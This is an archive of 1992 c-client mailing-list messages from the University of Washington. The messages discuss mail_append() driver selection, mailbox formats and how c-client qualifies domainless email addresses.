From pinedev@shivax2.cac.washington.edu Mon Aug 31 22:03:16 1992 -0700 Received: from mx1.cac.washington.edu by akbar.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19927; Mon, 31 Aug 92 22:03:16 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21670; Mon, 31 Aug 92 22:03:15 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21664; Mon, 31 Aug 92 22:03:14 -0700 Date: Mon, 31 Aug 1992 21:47:56 -0700 (PDT) From: Mark Crispin Subject: welcome to the c-client interest list To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello. If you received this message, you are on the c-client interest list at the University of Washington. The purpose of this list is for discussion and announcements related to the c-client library for mail software. You are on this list because at some point in the past you expressed an interest in this topic. It is intended that this list be of a low-volume, high-signal, and technical nature. To post mail to this list, send mail to: c-client@CAC.Washington.EDU To request addition/deletions to the list, send mail to: c-client-request@CAC.Washington.EDU Related mailing lists which may be of interest: IMAP@CAC.Washington.EDU IMAP protocol pine-info@CAC.Washington.EDU Pine mail UA information ECS-info@EDM.ISAC.CA ECS (Windows IMAP client) information Regards, Mark Crispin Networks and Distributed Computing University of Washington From pinedev@shivax2.cac.washington.edu Tue Sep 1 05:15:17 1992 -0700 Received: from mx1.cac.washington.edu by akbar.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26528; Tue, 1 Sep 92 05:15:17 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23717; Tue, 1 Sep 92 05:15:16 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from relay1.UU.NET by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA23711; Tue, 1 Sep 92 05:15:14 -0700 Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA18837; Tue, 1 Sep 92 08:15:13 -0400 Received: from bwc.UUCP by uunet.uu.net with UUCP/RMAIL (queueing-rmail) id 081349.23280; Tue, 1 Sep 1992 08:13:49 EDT Received: from xenia.bwc.org by bwc.org (4.1/SMI-4.1) id AA09174; Tue, 1 Sep 92 14:54:28 IDT Received: by xenia.bwc.org (4.1/SMI-4.1) id AA04763; Tue, 1 Sep 92 14:56:08 IDT Date: Tue, 1 Sep 1992 14:14:05 +0300 (IDT) From: Laurence Lundblade Subject: Hostnames for hostless addresses To: C-Client Mailing List Cc: Bob Gregory Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, I'm looking for a way to tell the c-client what address to use when qualifying domainless addresses. Right now it use the result of gethostbyname (the /etc/hosts, YP and DNS lookup). This results in an address with a hostname in it, where it might be better not to have one. Also, one can't always control what the hostname is set too. I realize that it would be best to have the addresses in the mail files fully qualified, but that isn't possible in this case. Could either an argument be added to mail_open, or a mail_setdomain() call be added to set the domain name so the calling program could control this? Then for example in Pine, all the domain names would be consistent. Thanks... Laurence Lundblade 206-543-5617 lgl@cac.washington.edu Computing and Communications, University of Washington, Seattle (Temporarily abroad till Sept 19; reply to lgl@cac.washington.edu) From pinedev@shivax2.cac.washington.edu Tue Sep 8 01:14:28 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04850; Tue, 8 Sep 92 01:14:28 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25077; Tue, 8 Sep 92 01:14:16 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from relay2.UU.NET by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25071; Tue, 8 Sep 92 01:14:15 -0700 Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA26974; Tue, 8 Sep 92 04:14:14 -0400 Received: from bwc.UUCP by uunet.uu.net with UUCP/RMAIL (queueing-rmail) id 041358.9727; Tue, 8 Sep 1992 04:13:58 EDT Received: from xenia.bwc.org by bwc.org (4.1/SMI-4.1) id AA06945; Tue, 8 Sep 92 10:13:09 IST Received: by xenia.bwc.org (4.1/SMI-4.1) id AA12745; Tue, 8 Sep 92 10:14:55 IST Date: Tue, 8 Sep 1992 10:02:39 +0200 (IST) From: Laurence Lundblade Subject: mail_append() To: C-Client Mailing List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm starting to work on mail_append() for the c-client driver I'm writing here. Don't quite know who all's on this list so I'll mention that this corresponds the the APPEND command in an upcoming version of IMAP2bis. What I'm trying to figure out is how to decide what driver to call. Mail_append() is a bit of a new thing in that it is not an operation on an already open mailbox, the format of which known, and therefor the driver is known. I'm planning on passing mail_append the mailbox name and a string which contains the RFC-822 message. Seems like the choices are: - Just pass it the mailbox name and the message and let it decide on the format of the mailbox either based on a default, or based on the format of the existing mailbox if it exists. Would have to default if it didn't exist. - Pass it a stream of some other open mailbox to serve to indicate the format of the mailbox. - Some other way, indicate the format of the mailbox I'll probably pick #2 for now since it's easy and there's not much code involved in any of these options. I'm mainly sending this message to see if anyone has any immediate ideas or plans. Thanks, LL From pinedev@shivax2.cac.washington.edu Tue Sep 8 10:55:54 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA13530; Tue, 8 Sep 92 10:55:54 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29411; Tue, 8 Sep 92 10:55:39 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29405; Tue, 8 Sep 92 10:55:38 -0700 Received: from (KSL-Mac-78.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA12584; Tue, 8 Sep 92 10:50:32 PDT Date: Tue, 8 Sep 1992 10:56:00 PDT From: Bill Yeager Subject: Re: mail_append() To: Laurence Lundblade Cc: C-Client Mailing List In-Reply-To: Your message of Tue, 8 Sep 1992 10:02:39 +0200 (IST) Message-Id: >> - Pass it a stream of some other open mailbox to serve to indicate the format of the mailbox. I think this can be somewhat subtle. 1. If the mailbox to which one is appending exists, then the driver can be automatically decided by the mailbox type of this mailbox. 2. If it doesn't exist, then if the mailbox type of INBOX is known, I imagine a user would like to have that format for append. I certainly would, even if I often open mailboxes of a different mailbox type. I, for example, use tenex format for the majority of my messages, but often read bezerkly mailboxes. I'd want my backing-store of saved messages to be in tenex format(*). 3. If INBOX format isn't known, then your plan above makes sense. The question I have is: What does append mean if a user's INBOX mailbox type is mh mode? Does one create a subdirectory in the Mail/ folder called Append/ and then iterate by message number as is done in mh mode? Bill (*) The intention all along with IMAP was that the user should never have to worry about the format of mail on the repository, but this hasn't worked out because people often connect directly to this system to read their mail from home. This mode of operation will persist until most users have network connections to their homes which I think is still in the near-distant future. So, I guess it is necessary to be able to accomodate all of these formats. ------- From pinedev@shivax2.cac.washington.edu Wed Sep 9 09:56:30 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA05868; Wed, 9 Sep 92 09:56:30 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA10250; Wed, 9 Sep 92 09:55:26 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from Ikkoku-Kan.Panda.COM by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA10244; Wed, 9 Sep 92 09:55:19 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NeXT-1.0 (From Sendmail 5.52)/UW-NDC/Panda Revision: 2.27.MRC ) id AA00591; Wed, 9 Sep 92 09:55:10 PDT Date: Wed, 9 Sep 1992 09:49:50 -0700 (PDT) From: Mark Crispin Subject: re: mail_append() To: Laurence Lundblade Cc: C-Client Mailing List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Laurence - I have already decided to add a `driver type' string to the driver dispatch table, and make those functions which create a mailbox use that. In the case of an existing mailbox, it should use the format of that mailbox. I haven't gotten around to it yet because I've been tied up with lots of other stuff. -- Mark -- From pinedev@shivax2.cac.washington.edu Thu Sep 10 05:43:29 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19470; Thu, 10 Sep 92 05:43:29 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19303; Thu, 10 Sep 92 05:43:22 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from relay1.UU.NET by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19297; Thu, 10 Sep 92 05:43:20 -0700 Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29215; Thu, 10 Sep 92 08:43:16 -0400 Received: from bwc.UUCP by uunet.uu.net with UUCP/RMAIL (queueing-rmail) id 084223.9412; Thu, 10 Sep 1992 08:42:23 EDT Received: from xenia.bwc.org by bwc.org (4.1/SMI-4.1) id AA10715; Thu, 10 Sep 92 14:39:20 IST Received: by xenia.bwc.org (4.1/SMI-4.1) id AA16311; Thu, 10 Sep 92 14:41:08 IST Date: Thu, 10 Sep 1992 14:30:54 +0200 (IST) From: Laurence Lundblade Subject: re: mail_append() To: Mark Crispin Cc: C-Client Mailing List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Mark, I don't quite know what you mean. Are you adding the "driver type" to each entry in the dispatch table (the "DRIVER" defined in mail.h) or are you adding on type to the whole dispatch table to act as a default type. I've thought about this a little bit and concluded that we don't really have to support multiple different mail formats for mail_find(), mail_append() and such since 99% of all users will only have mail in one format. I know we all enjoy a challenge, but it seems a reasonable simplification to support one driver at a time for the active mail, and other drivers in case the fellow wants to occasionally browse a mailbox in some other format. Phrased another way, it seems much more important to get things like net news, subscribe/unsubscribe, fancy searching, and append running than it does to support some fellow who wants to have his mail in three different formats and operate freely between them because the searching and news are what the users will care about. Based on this I suggest that mail_append(), mail_find(), mail_rename(), mail_delete() and mail_create() only operate on the first driver that is lunk in with mail_link(). Seems it will make our lives much easier. LL On Wed, 9 Sep 1992, Mark Crispin wrote: > > Laurence - > > I have already decided to add a `driver type' string to the driver > dispatch table, and make those functions which create a mailbox use that. In > the case of an existing mailbox, it should use the format of that mailbox. > > I haven't gotten around to it yet because I've been tied up with lots of > other stuff. > > -- Mark -- > From pinedev@shivax2.cac.washington.edu Thu Sep 10 10:20:51 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24578; Thu, 10 Sep 92 10:20:51 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21840; Thu, 10 Sep 92 10:20:36 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21834; Thu, 10 Sep 92 10:20:35 -0700 Received: from (KSL-Mac-78.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA25837; Thu, 10 Sep 92 10:08:59 PDT Date: Thu, 10 Sep 1992 10:14:32 PDT From: Bill Yeager Subject: re: mail_append() To: Laurence Lundblade Cc: Mark Crispin , C-Client Mailing List In-Reply-To: Your message of Thu, 10 Sep 1992 14:30:54 +0200 Message-Id: >> Based on this I suggest that mail_append(), mail_find(), mail_rename(), mail_delete() and mail_create() only operate on the first driver that is lunk in with mail_link(). Seems it will make our lives much easier. Seems a little strange to me that which mail box format is chosen is a function of the hardcoded sequence of calls to mail_link() from imapd.c. That certainly would not work here where we have: mail_link (&tenexdriver); /* install the Tenex mail driver */ mail_link (&mboxdriver); /* install the mbox driver - wjy 17 Aout 92*/ mail_link (&bezerkdriver); /* install the Berkeley mail driver */ And, most people use tenex format by others also use the other two formats. Maybe you don't mean hard linked in the code, but perhaps the first driver loaded in mail_open() as the "factory?" I don't think either of these choices are good solutions in environments where multiple mailbox formats are supported. Bill ------- From pinedev@shivax2.cac.washington.edu Thu Sep 10 10:30:36 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA24786; Thu, 10 Sep 92 10:30:36 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21942; Thu, 10 Sep 92 10:30:33 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from Ikkoku-Kan.Panda.COM by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA21936; Thu, 10 Sep 92 10:30:23 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NeXT-1.0 (From Sendmail 5.52)/UW-NDC/Panda Revision: 2.27.MRC ) id AA00471; Thu, 10 Sep 92 10:30:17 PDT Date: Thu, 10 Sep 1992 10:27:09 -0700 (PDT) From: Mark Crispin Subject: re: mail_append() To: Laurence Lundblade Cc: C-Client Mailing List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Laurence - The `driver type' will be a string in the dispatch table, a single entry such as "mbox", etc. So you can get a `name' of the type of mailbox. The idea then is that you can do something like: mail_create (name,"tenex"); Of course, there *will* be defaulting. I haven't thought all of this through since, as you noted, there are other things that are much higher on the queue to do. -- Mark -- From pinedev@shivax2.cac.washington.edu Fri Sep 11 11:49:46 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA16287; Fri, 11 Sep 92 11:49:46 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04382; Fri, 11 Sep 92 11:49:27 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from relay2.UU.NET by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04376; Fri, 11 Sep 92 11:49:17 -0700 Received: from uunet.uu.net (via LOCALHOST.UU.NET) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA08605; Fri, 11 Sep 92 14:48:48 -0400 Received: from bwc.UUCP by uunet.uu.net with UUCP/RMAIL (queueing-rmail) id 144358.10763; Fri, 11 Sep 1992 14:43:58 EDT Received: from xenia.bwc.org by bwc.org (4.1/SMI-4.1) id AA12557; Fri, 11 Sep 92 20:27:18 IST Received: by xenia.bwc.org (4.1/SMI-4.1) id AA18016; Fri, 11 Sep 92 20:29:09 IST Date: Fri, 11 Sep 1992 20:22:37 +0200 (IST) From: Laurence Lundblade Subject: re: mail_append() To: Mark Crispin Cc: C-Client Mailing List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sounds great Mark! It give us the option to do what we want. I was worried about things like the ambiguity of mailboxes of the same name in different formats and naming mailboxes in formats like mh where the the mailbox isn't a particular file. This sounds like it will take care of things just fine. Bill, What I was thinking about the mail_link() calls, was that you have control at run time as to which driver you link first. You could have command line flags that cause the drivers to be linked in various orders, though it's true that you'll only get to create, delete and append for that one driver. Mark's solution is much better. LL On Thu, 10 Sep 1992, Mark Crispin wrote: > > Laurence - > > The `driver type' will be a string in the dispatch table, a single entry > such as "mbox", etc. So you can get a `name' of the type of mailbox. The > idea then is that you can do something like: > mail_create (name,"tenex"); > > Of course, there *will* be defaulting. I haven't thought all of this > through since, as you noted, there are other things that are much higher on > the queue to do. > > -- Mark -- > From pinedev@shivax2.cac.washington.edu Fri Sep 11 14:13:18 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA19443; Fri, 11 Sep 92 14:13:18 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA05995; Fri, 11 Sep 92 14:13:14 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA05989; Fri, 11 Sep 92 14:13:12 -0700 Received: from (KSL-Mac-78.Stanford.EDU) by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA14828; Fri, 11 Sep 92 13:57:37 PDT Date: Fri, 11 Sep 1992 14:03:13 PDT From: Bill Yeager Subject: re: mail_append() To: Laurence Lundblade Cc: Mark Crispin , C-Client Mailing List In-Reply-To: Your message of Fri, 11 Sep 1992 20:22:37 +0200 Message-Id: Laurence, Thanks for the clarification. I too agree with Mark's approach with appropriate defaulting for environments like ours where different users have different default INBOX types. Bill ------- From pinedev@shivax2.cac.washington.edu Wed Sep 23 12:05:47 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA01930; Wed, 23 Sep 92 12:05:47 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25618; Wed, 23 Sep 92 12:03:30 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from olive.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25612; Wed, 23 Sep 92 12:03:29 -0700 Received: by olive.cac.washington.edu (NeXT-1.0 (From Sendmail 5.52)/UW-NDC Revision: 2.21 ) id AA07372; Wed, 23 Sep 92 11:59:38 PDT Date: Wed, 23 Sep 1992 11:50:12 -0700 (PDT) From: Laurence Lundblade Subject: Re: Domain names (fwd) To: c-client@cac.washington.edu Cc: Bob Gregory Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A while ago I indicated that it would be nice if you could set the mail domain the c-client uses for parsing unqaulified addresses. Here's some other folks that would like to see it happen. I suppose we could be pedegogical and say no to encourage people to fully qualify addresses, but sendmail configuration is difficult and I don't know if this is a battle worth fighting. I think this would also make Pine a little more self consistent. LL ---------- Forwarded message ---------- Date: Wed, 23 Sep 1992 17:13:40 +0100 (BST) From: Laurie Cuthbert To: Philip Hazel Cc: pine-info@cac.washington.edu Subject: Re: Domain names Yes - it does do this and at first we thought, like you, that it would be a major problem. However, we have decided that pine is so worth using that we changed the sendmail configuration to add the local domain name to all mail, irrespective of the MUA being used. Presumably you are using the UK sendmail configuration version 2.1 - if so there is a parameter that turns on or off the local channel domain stamping. In fact it proved to have an added benefit for us becuase we use departmental domains internally, but only the site domain for external messages, with PP massaging the name fields. By ensuring that the domain name is ALWAYS stamped PP will correctly massage all fields, including local CC fields. Regards Laurie Cuthbert On Wed, 23 Sep 1992, Philip Hazel wrote: > I've had to back off using Pine for the moment, because of the problem > described below. Luckily, I was just experimenting with it. Any ideas as > to how to get round it, apart from hacking the code? > > I have > > # Domain name you are in e.g. nwnet.net, cac.washington.edu, bwc.org > user-domain=cus.cam.ac.uk > > # Eliminate host part from hostname, using only domain part for domain name > use-only-domain-name=yes > > and for all the mail I send out, this works fine. Unqualified names end up > as "name@cus.cam.ac.uk", which is what is wanted. There are several > machines in the cus.cam.ac.uk domain, but they form a common mail system. > The problem arises when I receive mail from another local user whose mail > user agent does *not* fully qualify names. So I have something like > > From: someuser > > in my inbox. Pine displays this as > > From: someuser@bootes.cus.cam.ac.uk > > when I am running it on the machine bootes.cus.cam.ac.uk, or with a > different name if I run it on another machine. This is disastrous, > especially if I want to reply. [It is more disastrous for a machine in the > UK than for other Internet machines, because of the dual mail registration > with the JANET network. Only the shorter name is registered with JANET.] > It looks as if Pine (version 3.05, running on a Sun) is ignoring the > use-only-domain-name parameter when displaying unqualified names in > incoming mail. > > Philip Hazel > > -- > Internet: P.Hazel@ucs.cam.ac.uk University Computing Service, > JANET: P.Hazel@uk.ac.cam.ucs Computer Laboratory, Pembroke St, > Phone: +44 223 334714 Cambridge CB2 3QG, England. From pinedev@shivax2.cac.washington.edu Wed Sep 23 13:18:01 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA03296; Wed, 23 Sep 92 13:18:01 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26464; Wed, 23 Sep 92 13:17:56 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26458; Wed, 23 Sep 92 13:17:46 -0700 Received: from LOCAL.eco.twg.com by eco.twg.com (5.65/ECO.m-$Revision: 2.16 $) id AA00944; Wed, 23 Sep 92 16:18:15 -0400 Message-Id: <9209232018.AA00944@eco.twg.com> Received: from navajo.twg.com by apache.twg.com id <12747-0@apache.twg.com>; Wed, 23 Sep 1992 13:17:15 -0700 From: "David Herron" Subject: Re: Domain names (fwd) To: Laurence Lundblade Cc: c-client@cac.washington.edu, Bob Gregory Date: Wed, 23 Sep 92 13:20:27 PDT In-Reply-To: Your message of Wed, 23 Sep 1992 11:50:12 -0700 (PDT). Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 26 TEXT , 4 TEXT Always stamping fully qualified domain names on mail addresses is a Very Good Practice. One of the major misfeatures that Sendmail has foisted upon the world is the practice of not doing so. Places where I've seen problems: - If the nameservers are currently dead & you've got a partially qualified name it might do the wrong thing (or at least take a long time to do nothing because it's waiting for nameserver timeouts). NOTE: It's been a couple of years since this was seen and I don't remember details. - If someone forwards a piece of mail sent by a local user, it doesn't have qualified addresses. If it's forwarded to a non-local user the local MTA is unable to rewrite the addresses & the recipient gets mail with an embedded message containing addresses which looks to be local to that user. If the user then tries to use that embedded message to create a reply, the addresses are way-wrong & confusion can easily result. - Some digest creators do not qualify addresses in the embedded headers. This is the same as the previous problem, and is the common case where it happens. Some UA's provide a command for automagically bursting a digest and turning it into `n' new messages in the users mailbox. The user may wish to reply and/or forward to any of those messages but they've got screwed up addresses ... <- David Herron (work) (home) <- <- During the '80s Usenet's mantra was: "Not all the world's a VAX". <- During the '90s I hope it becomes: "Not all the world's DOS (ick)". From pinedev@shivax2.cac.washington.edu Wed Sep 23 13:59:42 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04062; Wed, 23 Sep 92 13:59:42 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26927; Wed, 23 Sep 92 13:59:37 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from Ikkoku-Kan.Panda.COM by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA26917; Wed, 23 Sep 92 13:58:13 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA00329; Wed, 23 Sep 92 13:56:37 -0700 Date: Wed, 23 Sep 1992 13:45:01 -0700 (PDT) From: Mark Crispin Subject: Re: Domain names (fwd) To: Laurence Lundblade Cc: c-client@cac.washington.edu, Bob Gregory In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Mr. c-client is aware of this problem. He is of the religion that states that addresses without a fully-qualified domain name cannot possibly work well enough to ever be trusted. Furthermore, he feels that what bits are on the disk should be of little concern to the user; if users want host-less addressing that is what their wonderful user interfaces are supposed to accomplish for them. However, he is also aware that circumstances force him to do something to parse an address without a host name other than just toss it out. And he is also aware that it's all his fault that he sets that default host name to the local host name and gives the main program no opportunity to change it. So... he is probably going to make that default host name be a global variable that gets defaulted to the local host name if the main program doesn't take care of it first. This will hopefully solve the immediate hassle in Pine. However, that doesn't change his fundamental lack of sympathy for the idea that it is ever reasonable to transmit e-mail bits without proper domain names. He has wasted entirely too many hours of his life in dealing with something that is essentially invalid and undefined. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed Sep 23 14:06:38 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04309; Wed, 23 Sep 92 14:06:38 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA27034; Wed, 23 Sep 92 14:06:30 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from olive.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA27027; Wed, 23 Sep 92 14:06:29 -0700 Received: by olive.cac.washington.edu (NeXT-1.0 (From Sendmail 5.52)/UW-NDC Revision: 2.21 ) id AA07434; Wed, 23 Sep 92 14:00:02 PDT Date: Wed, 23 Sep 1992 13:58:06 -0700 (PDT) From: Laurence Lundblade Subject: Re: Domain names (fwd) To: Mark Crispin Cc: c-client@cac.washington.edu, Bob Gregory In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sounds good to me Mark. I will also happily reflect your advise in the Pine tech-notes that use of this features is best considered a transitionary measure until the site can get to the point where they can use fully qualified host names. Thanks! LL On Wed, 23 Sep 1992, Mark Crispin wrote: > Date: Wed, 23 Sep 1992 13:45:01 -0700 (PDT) > From: Mark Crispin > To: Laurence Lundblade > Cc: c-client@cac.washington.edu, Bob Gregory > Subject: Re: Domain names (fwd) > > Mr. c-client is aware of this problem. > > He is of the religion that states that addresses without a fully-qualified > domain name cannot possibly work well enough to ever be trusted. Furthermore, > he feels that what bits are on the disk should be of little concern to the > user; if users want host-less addressing that is what their wonderful user > interfaces are supposed to accomplish for them. > > However, he is also aware that circumstances force him to do something to > parse an address without a host name other than just toss it out. And he is > also aware that it's all his fault that he sets that default host name to the > local host name and gives the main program no opportunity to change it. > > So... he is probably going to make that default host name be a global > variable that gets defaulted to the local host name if the main program > doesn't take care of it first. This will hopefully solve the immediate hassle > in Pine. > > However, that doesn't change his fundamental lack of sympathy for the idea > that it is ever reasonable to transmit e-mail bits without proper domain > names. He has wasted entirely too many hours of his life in dealing with > something that is essentially invalid and undefined. > > -- Mark -- > From pinedev@shivax2.cac.washington.edu Fri Oct 2 02:37:06 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04922; Fri, 2 Oct 92 02:37:06 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25532; Fri, 2 Oct 92 02:36:51 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA25526; Fri, 2 Oct 92 02:36:49 -0700 Return-Path: Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA06806; Fri, 2 Oct 92 02:36:46 -0700 Date: Fri, 2 Oct 1992 02:35:11 -0700 (PDT) From: Mark Crispin Subject: re: Hostnames for hostless addresses To: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 1 Sep 1992 14:14:05 +0300 (IDT), Laurence Lundblade wrote: > I'm looking for a way to tell the c-client what address to use > when qualifying domainless addresses. Right now it use the result > of gethostbyname (the /etc/hosts, YP and DNS lookup). This > results in an address with a hostname in it, where it might be > better not to have one. Also, one can't always control what the > hostname is set too. I realize that it would be best to have the > addresses in the mail files fully qualified, but that isn't > possible in this case. > Could either an argument be added to mail_open, or a > mail_setdomain() call be added to set the domain name so the > calling program could control this? Then for example in Pine, > all the domain names would be consistent. The very latest c-client (not yet publicly released) makes this available via a global char* variable called lhostn which the main program can set. If it does not, c-client defaults it as before. From pinedev@shivax2.cac.washington.edu Thu Oct 22 20:42:09 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA13672; Thu, 22 Oct 92 20:42:09 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04976; Thu, 22 Oct 92 20:42:01 -0700 Errors-To: c-client-request@cac.washington.edu Sender: c-client-request@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA04970; Thu, 22 Oct 92 20:41:58 -0700 Return-Path: Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 1.60.MRC ) id AA07863; Thu, 22 Oct 92 20:41:54 -0700 Date: Thu, 22 Oct 1992 20:40:20 -0700 (PDT) From: Mark Crispin Subject: c-client mailing list archives now available To: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII You can ftp it from ftp.cac.washington.edu on mail/c-client_archive This is a copy of the actual archive, updated daily at 1AM. From pinedev@shivax2.cac.washington.edu Mon Oct 26 21:40:45 1992 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA29123; Mon, 26 Oct 92 21:40:45 -0800 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.27 ) id AA11938; Mon, 26 Oct 92 21:40:41 -0800 